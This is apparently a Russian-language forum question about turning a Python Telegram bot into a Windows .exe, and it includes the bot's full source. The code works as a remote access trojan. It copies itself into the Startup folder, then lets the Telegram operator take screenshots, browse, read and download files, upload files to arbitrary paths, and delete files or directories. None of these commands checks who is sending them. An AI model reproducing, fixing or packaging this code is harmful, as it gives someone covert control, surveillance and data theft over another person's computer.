Не получается создать .exe файл для телеграмм бота
у меня есть телеграмм бот в main.py, но при открытии.exe файла возникает ошибка
main.py:
import os
import shutil
import sys
from aiogram import Bot, Dispatcher, executor, types
from aiogram.contrib.fsm_storage.memory import MemoryStorage
from aiogram.dispatcher import FSMContext
from aiogram.dispatcher.filters.state import State, StatesGroup
from dotenv import load_dotenv
import pyautogui as py
from aiogram.types import ReplyKeyboardMarkup, KeyboardButton
load_dotenv()
bot = Bot('Token')
storage = MemoryStorage()
dp = Dispatcher(bot=bot, storage=storage)
Thisfile = sys.argv[0]
Thisfile_name = os.path.basename(Thisfile)
user_path = os.path.expanduser('~')
if not os.path.exists(f"{user_path}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\{Thisfile_name}"):
os.system(f'copy "{Thisfile}" "{user_path}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"')
print(f'{Thisfile_name} добавлен в автозагрузку')
class AddFile(StatesGroup):
path = State()
file = State()
find = KeyboardButton('Find files')
start_menu = ReplyKeyboardMarkup(resize_keyboard=True)
start_menu.add(find)
@dp.message_handler(commands=['start'])
async def start(message: types.Message):
await bot.send_message(message.chat.id, f'Hello, {message.chat.first_name}')
@dp.message_handler(commands=['screenshot'])
async def screen(message: types.Message):
screenshot = py.screenshot()
screenshot.save('screenshot.png')
with open('screenshot.png', 'rb') as file:
await bot.send_photo(message.chat.id, file)
os.remove('screenshot.png')
@dp.message_handler(commands=['addfile'])
async def process_add_file(message: types.Message):
await AddFile.path.set()
await bot.send_message(message.chat.id, "Send directory for file")
@dp.message_handler(state=AddFile.path)
async def process_add_file(message: types.Message, state: FSMContext):
await state.update_data(path=message.text)
direct = await state.get_data()
await bot.send_message(message.chat.id, f"Send file for directory `{direct['path']}`", parse_mode='MarkDown')
await AddFile.file.set()
@dp.message_handler(state=AddFile.file, content_types=types.ContentType.DOCUMENT)
async def handle_file(message: types.Message, state: FSMContext):
data = await state.get_data()
directory_path = data['path']
file_path = await bot.get_file(message.document.file_id)
downloaded_file = await bot.download_file(file_path.file_path)
file_name = message.document.file_name
file_location = f"{directory_path}/{file_name}"
with open(file_location, "wb") as file:
file.write(downloaded_file.getvalue())
await bot.send_message(message.chat.id, f'File has been added to the directory \n`{directory_path}`',
parse_mode='MarkDown')
await state.finish()
@dp.message_handler(state=AddFile.file, content_types=types.ContentType.ANY)
async def handle_invalid_file_type(message: types.Message, state: FSMContext):
data = await state.get_data()
directory_path = data['path']
await bot.send_message(message.chat.id, f'Invalid file type. Please send a document file`{directory_path}`',
parse_mode='MarkDown')
@dp.message_handler()
async def command(message: types.Message, state: FSMContext):
com = message.text.split('-')[0].strip()
path = message.text.split('-')[-1].strip()
if com == 'find' and path:
await process_find_path(message.chat.id, path.strip())
elif com == 'open' and path:
await process_open_file(message.chat.id, path.strip())
elif com == 'download' and path:
await process_download_file(message.chat.id, path.strip())
elif com == 'delete' and path:
await process_delete_file(message.chat.id, path.strip())
else:
await bot.send_message(message.chat.id, f'Invalid command')
async def process_find_path(chat_id, path):
if not os.path.isabs(path):
path = os.path.join(os.getcwd(), path)
if os.path.isdir(path):
files = os.listdir(path)
await bot.send_message(chat_id, '\n'.join(files) + f'\n\n')
await bot.send_message(chat_id, f'`{path}`', parse_mode='MarkDown')
else:
await bot.send_message(chat_id, 'Invalid path or not a directory')
async def process_open_file(chat_id, path):
if not os.path.isabs(path):
path = os.path.join(os.getcwd(), path)
if os.path.isfile(path):
with open(path, 'r') as file:
file_content = file.read()
await bot.send_message(chat_id, f'\n{file_content}\n\n')
await bot.send_message(chat_id, f'`{path}`', parse_mode='MarkDown')
else:
await bot.send_message(chat_id, 'Invalid path or not a file')
async def process_download_file(chat_id, path):
if not os.path.isabs(path):
path = os.path.join(os.getcwd(), path)
if os.path.isfile(path):
with open(path, 'rb') as file:
await bot.send_document(chat_id, file)
else:
await bot.send_message(chat_id, 'Invalid path or not a file')
async def process_delete_file(chat_id, path):
if not os.path.isabs(path):
path = os.path.join(os.getcwd(), path)
if os.path.exists(path):
if os.path.isfile(path):
os.remove(path)
await bot.send_message(chat_id, 'File deleted successfully.')
else:
shutil.rmtree(path)
await bot.send_message(chat_id, 'Directory deleted successfully.')
else:
await bot.send_message(chat_id, 'Invalid path or does not exist.')
if __name__ == '__main__':
executor.start_polling(dp)
